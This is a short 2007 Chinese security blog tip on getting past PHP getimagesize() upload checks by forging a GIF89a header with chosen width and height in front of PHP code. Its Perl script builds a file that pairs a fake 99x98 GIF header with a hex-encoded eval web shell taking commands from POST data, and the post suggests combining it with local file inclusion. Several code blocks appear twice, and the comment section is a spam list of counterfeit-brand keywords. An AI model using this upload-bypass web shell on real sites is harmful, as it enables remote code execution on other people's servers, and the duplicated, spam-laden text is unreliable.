[Tips]Bypass getimagesize()
by Superhei@ph4nt0m
2007-04-12
http://www.ph4nt0m.org
很多php代码都用getimagesize()来判断你上传文件是不是图片,很多人在黑盒测试都会使用在php代码前加个GIF89a来绕过这样的代码:
if(getimagesize($file)){
print yes;
}else{
print no;
}
print yes;
}else{
print no;
}
但是有很多的情况还有其他的限制,比如分辨率n x n 如以下代码:
if ($size = @getimagesize(IMAGES."avatars/".$avatarname)) {
if ($size['0'] > 100 || $size['1'] > 100) {
unlink(IMAGES."avatars/".$avatarname);
$set_avatar = "";
if ($size['0'] > 100 || $size['1'] > 100) {
unlink(IMAGES."avatars/".$avatarname);
$set_avatar = "";
先看看gif文件头:
00000000h: 47 49 46 38 39 61 AB 02 E5 03 B3 00 00 00 80 00 ; GIF89a???..€.
G I F 8 9 a $size['0'] $size['1']
$size['0']x$size['1'] = [AB 02]683 x [E5 03]997
G I F 8 9 a $size['0'] $size['1']
$size['0']x$size['1'] = [AB 02]683 x [E5 03]997
perl代码:
#!/usr/bin/perl
#The Script could pass getimagesize()
#gif size: 99x98 pixels
$gifhead="\x47\x49\x46\x38\x39\x61". #GIF89a
"\x63\x00".#99
"\x62\x00";#98
$phpcode="\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x63\x5d\x29\x3f\x3e";#<?php @eval
($_POST[c])?>
print $gifhead.$phpcode;
#The Script could pass getimagesize()
#gif size: 99x98 pixels
$gifhead="\x47\x49\x46\x38\x39\x61". #GIF89a
"\x63\x00".#99
"\x62\x00";#98
$phpcode="\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x63\x5d\x29\x3f\x3e";#<?php @eval
($_POST[c])?>
print $gifhead.$phpcode;
应该说getimagesize只是一部分检测 这样要和其他漏洞配合,比如本地包含 一般上穿严格限制了文类型 还用getimagesize判断是不是图片 。
比如:http://www.4ngel.net/article/57.htm
1 条评论:
coach factory outlet
oakley vault
polo ralph lauren
nike air max 90
nike air force 1
oakley sunglasses
jordans for sale
lebron 12
ray ban sunglasses
true religion jeans
ed hardy outlet
adidas shoes
polo outlet
timberland outlet
toms wedges
coach outlet store online
coach outlet store online clearances
designer handbags
ghd flat iron
air huarache
oakley canada
kate spade outlet
cheap jordan shoes
true religion outlet
nike running shoes for women
toms shoes
oakley sunglasses
oakley sunglasses
gucci handbags
celine bags
vans sneakers
chenyingying2016718
发表评论